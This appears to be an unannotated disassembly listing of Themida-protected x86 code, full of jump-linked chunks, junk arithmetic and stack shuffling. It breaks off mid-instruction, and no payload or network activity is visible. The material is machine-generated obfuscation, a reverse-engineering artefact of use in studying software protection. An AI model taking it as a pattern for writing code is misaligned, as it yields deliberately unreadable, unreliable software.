sub_556A70 loc_552FFA: ; CODE XREF: sub_556A70-27A9j mov edx, 32DB6845h xor edx, 4C074104h and edx, 31EF0CCEh jmp loc_559297 ; --------------------------------------------------------------------------- loc_553010: ; CODE XREF: sub_556A70-59D0j push [esp+10h+var_10] pop edi jmp loc_554084 ; --------------------------------------------------------------------------- loc_553019: ; CODE XREF: sub_556A70+DD4j jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55301E: ; CODE XREF: sub_556A70-5CB3j mov edx, 4 sub eax, edx pop edx jmp loc_5531DB ; --------------------------------------------------------------------------- loc_55302B: ; CODE XREF: sub_556A70+297Aj push eax mov eax, 0C8E7D79h mov edi, 18B03AD8h xor edi, 34F26EC2h shl edi, 8 not edi add edi, 7DBDA39Fh add edi, eax push dword ptr [esp+0] jmp loc_551DBA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553051: ; CODE XREF: Themida_:0055C595j push esi push edi mov edi, 7097409Eh add edi, 24C857C0h push ebx mov ebx, 62DC47EDh jmp loc_556531 ; --------------------------------------------------------------------------- loc_553069: ; CODE XREF: Themida_:0055536Bj xchg eax, [esp] pop esp shr word ptr [esp], cl pushf jmp loc_55BF3B ; --------------------------------------------------------------------------- loc_553077: ; CODE XREF: Themida_:00552A83j add esp, 4 jmp loc_556468 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553082: ; CODE XREF: sub_556A70-CAFj push edx push edi jmp loc_55BC90 ; --------------------------------------------------------------------------- loc_553089: ; CODE XREF: sub_556A70-140Ej xor [esp+0Ch+var_C], edi xor edi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push [esp+0Ch+var_C] push [esp+10h+var_10] pop eax jmp loc_558CB2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55309E: ; CODE XREF: Themida_:005599F8j sub dh, cl pop ecx jmp loc_551C3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5547A1 loc_5530A6: ; CODE XREF: sub_5547A1-315Fj add esi, 4 xor esi, [esp+0] xor [esp+0], esi jmp loc_556F6D ; END OF FUNCTION CHUNK FOR sub_5547A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5530B7: ; CODE XREF: sub_556A70+2C62j pop esp push [esp+0Ch+var_C] push [esp+10h+var_10] jmp loc_55C434 ; --------------------------------------------------------------------------- loc_5530C3: ; CODE XREF: sub_556A70-3Dj dec edi jmp loc_55AEFF ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5530C9: ; CODE XREF: Themida_:00553597j push eax jmp loc_5524F7 ; --------------------------------------------------------------------------- loc_5530CF: ; CODE XREF: Themida_:00557E7Fj add esp, 4 add ebx, 0D053B646h add edx, ebx pop ebx jmp loc_556D25 ; --------------------------------------------------------------------------- loc_5530E3: ; CODE XREF: Themida_:005545ACj mov edi, 0AABE9245h xor ecx, edi jmp loc_554FD6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5530EF proc near ; CODE XREF: sub_556A70-4788j push ebp mov ebp, esp jmp loc_5571DB sub_5530EF endp ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553101: ; CODE XREF: sub_556A70+12DDj pop eax sub ebp, 69EA5388h add ebp, ebx jmp sub_5563FF ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- locret_55310F: ; CODE XREF: Themida_:0055C80Cj retn ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_558ECD ; --------------------------------------------------------------------------- loc_553118: ; CODE XREF: Themida_:0055572Bj add eax, 3D3B6881h push 659Bh jmp loc_55348A ; --------------------------------------------------------------------------- loc_553127: ; CODE XREF: Themida_:00554F9Fj inc eax sub eax, 21500403h add esi, eax pop eax xchg esi, [esp] pop esp rol dword ptr [esp], cl pushf jmp loc_551C29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55313D: ; CODE XREF: sub_556A70-3C43j pop esp sub esp, 4 mov [esp+4+var_4], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 jmp loc_557EE7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55315A: ; CODE XREF: Themida_:00550E4Dj xor edi, [esp] jmp loc_552351 ; --------------------------------------------------------------------------- loc_553162: ; CODE XREF: Themida_:005592FCj mov edi, 0CDDAC886h sub ebx, edi pop edi mov ecx, ebx push dword ptr [esp] pop ebx add esp, 4 sub ecx, ebx jmp loc_554066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55317D: ; CODE XREF: sub_556A70+5419j add esp, 4 xor al, ch mov ecx, [esp+4+var_4] add esp, 4 sub bl, 3Eh add bl, 0BFh push edx mov dl, 16h neg dl push ebx mov bh, 0B8h jmp loc_5529D5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55319E proc near ; CODE XREF: sub_557FA0-5395j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005532FF SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005534B1 SIZE 0000000E BYTES push ebp mov ebp, 1A6B67B6h jmp loc_5534B1 sub_55319E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5531A9: ; CODE XREF: Themida_:005519C4j not ebp push ecx mov ecx, 2A09ECh sub ebp, ecx pop ecx add esi, 7DEB5505h add esi, ebp sub esi, 7DEB5505h push dword ptr [esp] mov ebp, [esp] jmp loc_557252 ; --------------------------------------------------------------------------- loc_5531CD: ; CODE XREF: Themida_:00551473j add [esp+4], ecx pop ecx pop eax sub esp, 4 jmp loc_5569FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5531DB: ; CODE XREF: sub_556A70-3A4Aj push eax push [esp+arg_0] pop eax pop dword ptr [esp+0] mov esp, [esp-4+arg_0] mov [esp-4+arg_0], ebx push [esp-4+arg_0] pop eax jmp loc_552DC9 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5531F3: ; CODE XREF: Themida_:0055C9A2j shr dh, 3 push cx mov ch, 0F0h jmp loc_553AA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_5531FF: ; CODE XREF: sub_5566B9+4B49j add esp, 4 push [esp+0Ch+var_C] pop ebp jmp loc_55714E ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_552D1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5599E2 loc_553214: ; CODE XREF: sub_5599E2+3j mov [esp+4+var_4], edx push 7AFA6C43h pop edx push ecx mov ecx, 6D317BE3h and ecx, 3CF03438h or ecx, 5EB9070Ch or ecx, 5A146DBh not ecx add ecx, 1 sub ecx, 2F383BC7h add edx, ecx jmp loc_555E6E ; END OF FUNCTION CHUNK FOR sub_5599E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55324A: ; CODE XREF: sub_556A70-5827j sub edi, edx pop edx mov ebx, edi mov edi, [esp-16h+arg_10+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-12h+arg_C+2] pop esp xor ebx, edx jmp loc_550BBB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553269: ; CODE XREF: Themida_:00551D39j and edi, 58440848h jmp loc_558080 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_553274: ; CODE XREF: sub_552B74+8C1Ej pop edx jmp loc_558BB4 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55327A: ; CODE XREF: sub_556A70+42C3j dec edi jmp loc_553759 ; --------------------------------------------------------------------------- loc_553280: ; CODE XREF: sub_556A70-162Cj pop esi mov eax, [esp-1Ah+arg_14+2] add esp, 4 add edx, 4D013875h or edx, 75C076F2h shl edx, 7 push esi mov esi, 4DF355FFh jmp loc_5562DE ; --------------------------------------------------------------------------- loc_5532A4: ; CODE XREF: sub_556A70+5F92j pop esp push [esp-1Eh+arg_18+2] pop eax jmp loc_55187A ; --------------------------------------------------------------------------- loc_5532AE: ; CODE XREF: sub_556A70-13DFj pop ebx sub ebx, 76607069h mov ebp, [esp-22h+arg_1C+2] jmp loc_551767 ; --------------------------------------------------------------------------- loc_5532BD: ; CODE XREF: sub_556A70-46Fj mov [esp-22h+arg_1C+2], ecx push edi jmp loc_5529CF ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AA5F loc_5532C6: ; CODE XREF: sub_55AA5F-7F46j or ecx, ebx pop ebx xchg esi, ecx not esi xchg esi, ecx inc ecx and ecx, 1DC92CFFh jmp loc_550B76 ; END OF FUNCTION CHUNK FOR sub_55AA5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5532DB: ; CODE XREF: sub_556A70-DC9j mov dx, cx mov ecx, [esp-1Eh+arg_18+2] jmp loc_559671 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov cx, [esp] push 0C73h mov [esp], ebx mov ebx, esp push edi mov edi, 4 jmp loc_554BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55319E loc_5532FF: ; CODE XREF: sub_55319E+31Cj dec ecx xor ecx, 3D8C55AEh xor ebx, ecx pop ecx push ebx pop edi pop ebx add eax, 1DB67F57h add eax, 12F945F2h add eax, edi sub eax, 12F945F2h sub eax, 1DB67F57h pop edi xchg eax, [esp-8+arg_4] mov esp, [esp-8+arg_4] cmp cl, al pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_55319E ; --------------------------------------------------------------------------- loc_553331: ; CODE XREF: Themida_:005597FDj jmp loc_550A46 ; --------------------------------------------------------------------------- loc_553336: ; CODE XREF: Themida_:00550DE2j not al mov dh, al pop eax xor dh, 0E3h dec dh not dh not dh add dh, 16h add dh, 38h add ah, dh pop edx add dh, ah pop eax add dh, 0AFh mov cx, [esp] add esp, 2 add al, dh mov edx, [esp] add esp, 4 push 2D84h mov [esp], ecx push edx push eax mov al, 75h shl al, 4 push ebx mov bl, 73h jmp loc_55BCE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553A74 loc_55337F: ; CODE XREF: sub_553A74+12j add eax, 800005h add ecx, 531B33B9h jmp loc_5594DE ; END OF FUNCTION CHUNK FOR sub_553A74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5565AD loc_55338F: ; CODE XREF: sub_5565AD+11j pop esi jmp sub_5547A1 ; END OF FUNCTION CHUNK FOR sub_5565AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553395: ; CODE XREF: sub_556A70-563Bj add bl, 0CDh jmp loc_558BE5 ; --------------------------------------------------------------------------- loc_55339D: ; CODE XREF: sub_556A70+62ECj add ebx, eax push 3B42h jmp loc_554361 ; --------------------------------------------------------------------------- loc_5533A9: ; CODE XREF: sub_556A70-18DDj add esi, 0EA924FBDh jmp loc_55A0B4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5533B4: ; CODE XREF: Themida_:0055656Dj add esp, 4 jmp loc_558C4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5533BC: ; CODE XREF: sub_556A70+B89j xchg edi, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] add esp, 4 div ecx push 5FE0h mov [esp-14h+arg_10], edx jmp sub_55C607 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5533D7: ; CODE XREF: Themida_:00551D9Ej shr edx, 8 sub edx, 0FFFFFFFFh sub edx, 0FFFFFFFFh not edx jmp loc_5514E4 ; --------------------------------------------------------------------------- loc_5533EA: ; CODE XREF: Themida_:0055242Aj pop ebx inc esi jmp loc_551BCF ; --------------------------------------------------------------------------- loc_5533F1: ; CODE XREF: Themida_:00552122j add ebp, 0FFBBBBFCh add eax, ebp pop ebp push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] mov esp, [esp] push ebp mov ebp, 637B3826h xor ebp, 287C5299h inc ebp inc ebp or ebp, 1AB70091h add ebp, 0A4489533h jmp loc_551346 ; --------------------------------------------------------------------------- loc_553428: ; CODE XREF: Themida_:0055398Cj push 32C1h mov [esp], ebx mov bl, 64h push eax mov al, 0FFh jmp loc_559C7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55343A: ; CODE XREF: sub_556A70-3015j mov word ptr [esp-14h+arg_10], cx push edx mov dh, 8Fh sub dh, 1 add dh, 8Eh jmp loc_55389C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55344C: ; CODE XREF: Themida_:0055AF14j not bh shr bh, 3 sub bh, 53h shr bh, 5 xor bh, 0BEh jmp loc_556086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55345F: ; CODE XREF: sub_556A70+10F3j mov eax, ebx push ecx mov ecx, eax push ecx push esi push ebp mov ebp, 6EC2770Dh jmp loc_5541AC ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553471: ; CODE XREF: Themida_:005591C7j mov ah, 44h sub ah, 0FFh jmp loc_5569E7 ; --------------------------------------------------------------------------- loc_55347B: ; CODE XREF: Themida_:0055952Fj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_555F0B ; --------------------------------------------------------------------------- loc_55348A: ; CODE XREF: Themida_:00553122j mov [esp], ebp mov ebp, 65605812h shl ebp, 4 xor ebp, 6409AA4h add eax, ebp pop ebp push dword ptr [esp] pop ebp push 4820h mov [esp], edi mov edi, esp jmp loc_55CCBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55319E loc_5534B1: ; CODE XREF: sub_55319E+6j and ecx, ebp pop ebp add ecx, 24A253A7h jmp loc_5532FF ; END OF FUNCTION CHUNK FOR sub_55319E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_5534BF: ; CODE XREF: sub_552B74+8C87j pop ecx push esi mov esi, esp jmp loc_552F85 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5534C8: ; CODE XREF: sub_556A70-F78j add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0] pop esp xor ebx, eax jmp loc_552201 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push 5B03h mov [esp], eax mov eax, esp add eax, 4 push esi mov esi, 4 sub eax, esi mov esi, [esp] push edi mov edi, esp jmp loc_559478 ; --------------------------------------------------------------------------- loc_553506: ; CODE XREF: Themida_:00558814j pop esi add edx, 4 xchg edx, [esp] pop esp push ebx jmp loc_558CE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5582B3 loc_553517: ; CODE XREF: sub_5582B3+4709j sub ebx, 111C342Dh jmp loc_55647C ; END OF FUNCTION CHUNK FOR sub_5582B3 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_5590C4 push edx mov edx, 6F3F3CFEh add edx, 0FFFFFFFFh xor edx, 3D716FA8h dec edx and edx, 520B17CDh xor edx, 8CE3967h push ebx mov ebx, 29511E93h jmp loc_55C811 ; --------------------------------------------------------------------------- loc_553557: ; CODE XREF: Themida_:00555D78j mov eax, 0 jmp loc_555085 ; --------------------------------------------------------------------------- loc_553561: ; CODE XREF: Themida_:00555936j add ebp, edi pop edi push 5B28h mov [esp], ebx mov ebx, 275B7CC7h jmp loc_5569D0 ; --------------------------------------------------------------------------- loc_553576: ; CODE XREF: Themida_:0055A5A2j not dh push ecx mov ch, dh mov dh, bh mov bh, ch pop ecx sub bh, 4Ch dec bh not bh xor bh, 0BFh mov dh, bh pop ebx add al, dh jmp loc_5521DB ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] jmp loc_5530C9 ; --------------------------------------------------------------------------- loc_55359C: ; CODE XREF: Themida_:00551E2Dj xor ecx, 638A5D10h add eax, ecx mov ecx, [esp] add esp, 4 mov ebp, [esp] add esp, 4 jmp loc_55A9FB ; --------------------------------------------------------------------------- loc_5535B8: ; CODE XREF: Themida_:005562A6j add [esp+4], eax push dword ptr [esp] pop eax add esp, 4 jmp loc_55CD85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_5535CB: ; CODE XREF: sub_5584F8-330Cj shl esi, 6 and esi, 6DC4579Dh dec esi jmp loc_55B363 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_5535DA: ; CODE XREF: Themida_:005558CCj push ebx jmp loc_55934B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A6CD loc_5535E0: ; CODE XREF: sub_55A6CD+9j xchg esi, [esp+0] jmp loc_557FB9 ; END OF FUNCTION CHUNK FOR sub_55A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_5535E8: ; CODE XREF: sub_5566B9-500Dj add ecx, ebp push ebx mov ebx, 70850C20h add ecx, 17115A95h sub ecx, ebx sub ecx, 17115A95h pop ebx jmp loc_5566E0 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553604: ; CODE XREF: sub_556A70-2BDAj not ebx sub ebx, 57E37E7h jmp loc_556929 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553611: ; CODE XREF: Themida_:0055B903j xor eax, edx mov edx, [esp] add esp, 4 push small word ptr [eax] jmp loc_550A46 ; --------------------------------------------------------------------------- loc_553621: ; CODE XREF: Themida_:00558BAFj not bh or bh, 38h neg bh xor bh, 56h add bh, 22h add al, bh pop ebx push edx jmp loc_554CA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5553D0 loc_553637: ; CODE XREF: sub_5553D0+413Bj add bl, al sub bl, 67h jmp sub_55A5DF ; END OF FUNCTION CHUNK FOR sub_5553D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553641: ; CODE XREF: sub_556A70+2DF2j push eax mov eax, 0DA26BF41h add edx, eax pop eax mov eax, edx jmp loc_558FE0 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_553651 proc near ; CODE XREF: sub_556A70-5D6Cj ; sub_556A70+97Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00551CE3 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005529A9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00554CAC SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00556447 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005585CE SIZE 00000057 BYTES ; FUNCTION CHUNK AT 0055A02F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055B004 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055C638 SIZE 0000000F BYTES push ebx jmp loc_55A02F sub_553651 endp ; =============== S U B R O U T I N E ======================================= sub_553657 proc near ; CODE XREF: sub_556A70-349j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00551A02 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055A79A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055BAFA SIZE 0000000B BYTES sub esp, 4 mov [esp-4+arg_0], eax push 2F4C0224h mov eax, [esp+0] jmp loc_551A02 sub_553657 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55366A: ; CODE XREF: sub_556A70-5D60j push 2C04h mov [esp-4+arg_0], ecx push 5F4h mov [esp+0], esp add dword ptr [esp+0], 4 pop ecx push edx mov edx, 4 add ecx, edx pop edx push ebp mov ebp, 484F0FBBh add ebp, 1 jmp loc_557898 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553699: ; CODE XREF: Themida_:00555FC1j xor [esp], ecx xor ecx, [esp] jmp loc_55BE8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553B16 loc_5536A4: ; CODE XREF: sub_553B16+Bj add ecx, 4 add ecx, 4 jmp loc_55881F ; END OF FUNCTION CHUNK FOR sub_553B16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5536B2: ; CODE XREF: sub_556A70-4D9Ej add ebx, eax sub ebx, 509248F3h push 3C8Dh mov [esp+8+var_8], eax jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5536C7: ; CODE XREF: Themida_:00555F8Fj add [esp+4], esi mov esi, [esp] jmp loc_551B0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5536D3: ; CODE XREF: sub_556A70+1780j mov ebp, 270C06A0h shr ebp, 3 xor ebp, 4E180D0h add edi, 35A35F6Dh sub edi, ebp sub edi, 35A35F6Dh push [esp+8+var_8] pop ebp add esp, 4 xchg edi, [esp+4+var_4] pop esp mov [esp+0], ebx sub dword ptr [esp+0], 30F3195Fh pop eax add eax, 30F3195Fh push 7CB7h mov [esp+0], edi push 3B4B1C80h pop edi push 4F56h mov [esp+4+var_4], ebp push esi jmp loc_5556B3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_553729: ; CODE XREF: sub_552B74+7309j add esp, 2 push ecx jmp loc_5510E0 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553735: ; CODE XREF: sub_556A70-46ACj push edx mov edx, 2DA856A1h dec edx add edx, 0FB0F0851h jmp loc_55532E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553747: ; CODE XREF: Themida_:0055BFD5j add edi, 22D409ACh add edi, 2DF96E72h pop ebp jmp loc_55B14A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553759: ; CODE XREF: sub_556A70-37F5j sub edi, 0DA40F45h sub edi, 0A33326ADh add eax, edi pop edi add eax, 4 jmp loc_559E0E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553770: ; CODE XREF: Themida_:005590D2j push esi mov esi, 6F3C6C79h sub [esp+8], esi pop esi add dword ptr [esp+4], 5361318h add [esp+4], esi sub dword ptr [esp+4], 5361318h add dword ptr [esp+4], 6F3C6C79h mov esi, [esp] add esp, 4 jmp loc_553917 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5537A2: ; CODE XREF: sub_556A70-6000j mov cl, dl pop dx jmp loc_55CD61 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556769 loc_5537AB: ; CODE XREF: sub_556769+1j mov ebx, 34A83382h add ebp, ebx jmp loc_558B7D ; END OF FUNCTION CHUNK FOR sub_556769 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5537B7: ; CODE XREF: sub_556A70+2923j add esi, 4 jmp loc_559251 ; --------------------------------------------------------------------------- loc_5537BF: ; CODE XREF: sub_556A70+2D4Dj push edx push esp pop edx add edx, 4 jmp loc_554778 ; --------------------------------------------------------------------------- loc_5537CD: ; CODE XREF: sub_556A70-16A5j pop ebp add eax, 2 push eax jmp loc_55A60B ; --------------------------------------------------------------------------- loc_5537D7: ; CODE XREF: sub_556A70-12E7j xor ebx, eax pop eax push ebp mov ebp, 49504412h add ebp, 726F52C9h and ebp, 6F4B0330h not ebp push edx mov edx, 5170308Dh add ebp, edx jmp loc_551D03 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5537FB: ; CODE XREF: Themida_:00558E44j neg eax shr eax, 7 push ebp mov ebp, 1315497Fh add ebp, 0A89192BFh sub eax, ebp pop ebp add ebp, eax pop eax pop edx push 6E50h mov [esp], ebp jmp loc_556C7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553820: ; CODE XREF: sub_556A70+3420j mov [esp+0Ch+var_C], ecx mov ecx, 1 push 2345h mov [esp+10h+var_10], edx mov edx, 24h add edx, 2F38086Ch add edx, 7C0B03B8h jmp loc_557669 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553846: ; CODE XREF: Themida_:0055A416j and [edi+1Ch], eax push dword ptr [esp] pop eax push 5C4h mov [esp], ecx jmp loc_55450D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55385A: ; CODE XREF: sub_552B74+90ECj add al, 1Fh jmp loc_559E79 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- loc_553861: ; CODE XREF: Themida_:0055BD81j pop ecx mov edi, [esp] add esp, 4 add esi, 2 xchg esi, [esp] pop esp mov cx, [esp] push 37BFh mov [esp], esi mov esi, esp add esi, 4 push 755h mov [esp], edx push edi mov edi, 4 mov edx, edi pop edi jmp loc_552BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55389C: ; CODE XREF: sub_556A70-3629j mov ch, dh jmp loc_555E5D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_5538A3: ; CODE XREF: Themida_:00557C94j mov edx, 5350002h add edx, 35B0557h jmp loc_55C46E ; --------------------------------------------------------------------------- loc_5538B3: ; CODE XREF: Themida_:00554E09j pop ecx push eax push ecx jmp loc_55BF6F ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, esp add ebx, 4 sub esp, 4 jmp loc_55CE06 ; --------------------------------------------------------------------------- loc_5538E8: ; CODE XREF: Themida_:0055AE35j pop eax push edx jmp loc_556E10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5538EF: ; CODE XREF: sub_556A70+F5Dj mov bh, 25h add al, bh jmp loc_551927 ; --------------------------------------------------------------------------- loc_5538F8: ; CODE XREF: sub_556A70+F6Ej add edx, ebx pop ebx add edi, 7B1E002Dh sub edi, edx sub edi, 7B1E002Dh mov edx, [esp-14h+arg_10] add esp, 4 jmp loc_55ABB5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553917: ; CODE XREF: Themida_:0055379Dj mov eax, [esp] add esp, 4 jmp loc_554C87 ; --------------------------------------------------------------------------- loc_553925: ; CODE XREF: Themida_:0055885Aj push esi mov esi, 4 add [esp+4], esi pop esi pop dword ptr [esp] jmp loc_554BD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553938: ; CODE XREF: sub_556A70+AFj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-18h+arg_14] pop esp mov [esp-1Ch+arg_18], edi mov edi, esp jmp loc_555DD2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_553951: ; CODE XREF: Themida_:0055AAC2j pop eax xor ecx, ebx jmp loc_550E34 ; --------------------------------------------------------------------------- loc_553959: ; CODE XREF: Themida_:0055AF74j mov eax, esp push ecx jmp loc_558308 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_553961: ; CODE XREF: sub_556A70-243j mov [esp-1Ch+arg_18], edx mov dh, 7Fh mov cl, dh jmp loc_555643 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55396D: ; CODE XREF: Themida_:00559373j mov ebx, 20CE5569h jmp loc_553CD5 ; --------------------------------------------------------------------------- loc_553977: ; CODE XREF: Themida_:00555B75j sub esp, 2 mov [esp], bx mov bl, 26h xor cl, bl mov bx, [esp] add esp, 2 jmp loc_553428 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5525ED loc_553991: ; CODE XREF: sub_5525ED+3j mov [esp+4+var_4], ebx mov ebx, 4 jmp loc_5575DE ; END OF FUNCTION CHUNK FOR sub_5525ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559D5E loc_55399E: ; CODE XREF: sub_559D5E-48E8j xchg eax, [esp+8+var_8] pop esp xchg edi, [esp+4+var_4] pop esp mov [esp+0], edi push edx push 35807FC2h jmp loc_557001 ; END OF FUNCTION CHUNK FOR sub_559D5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_5539B4: ; CODE XREF: sub_556A70+1FC4j push esi mov esi, esp add esi, 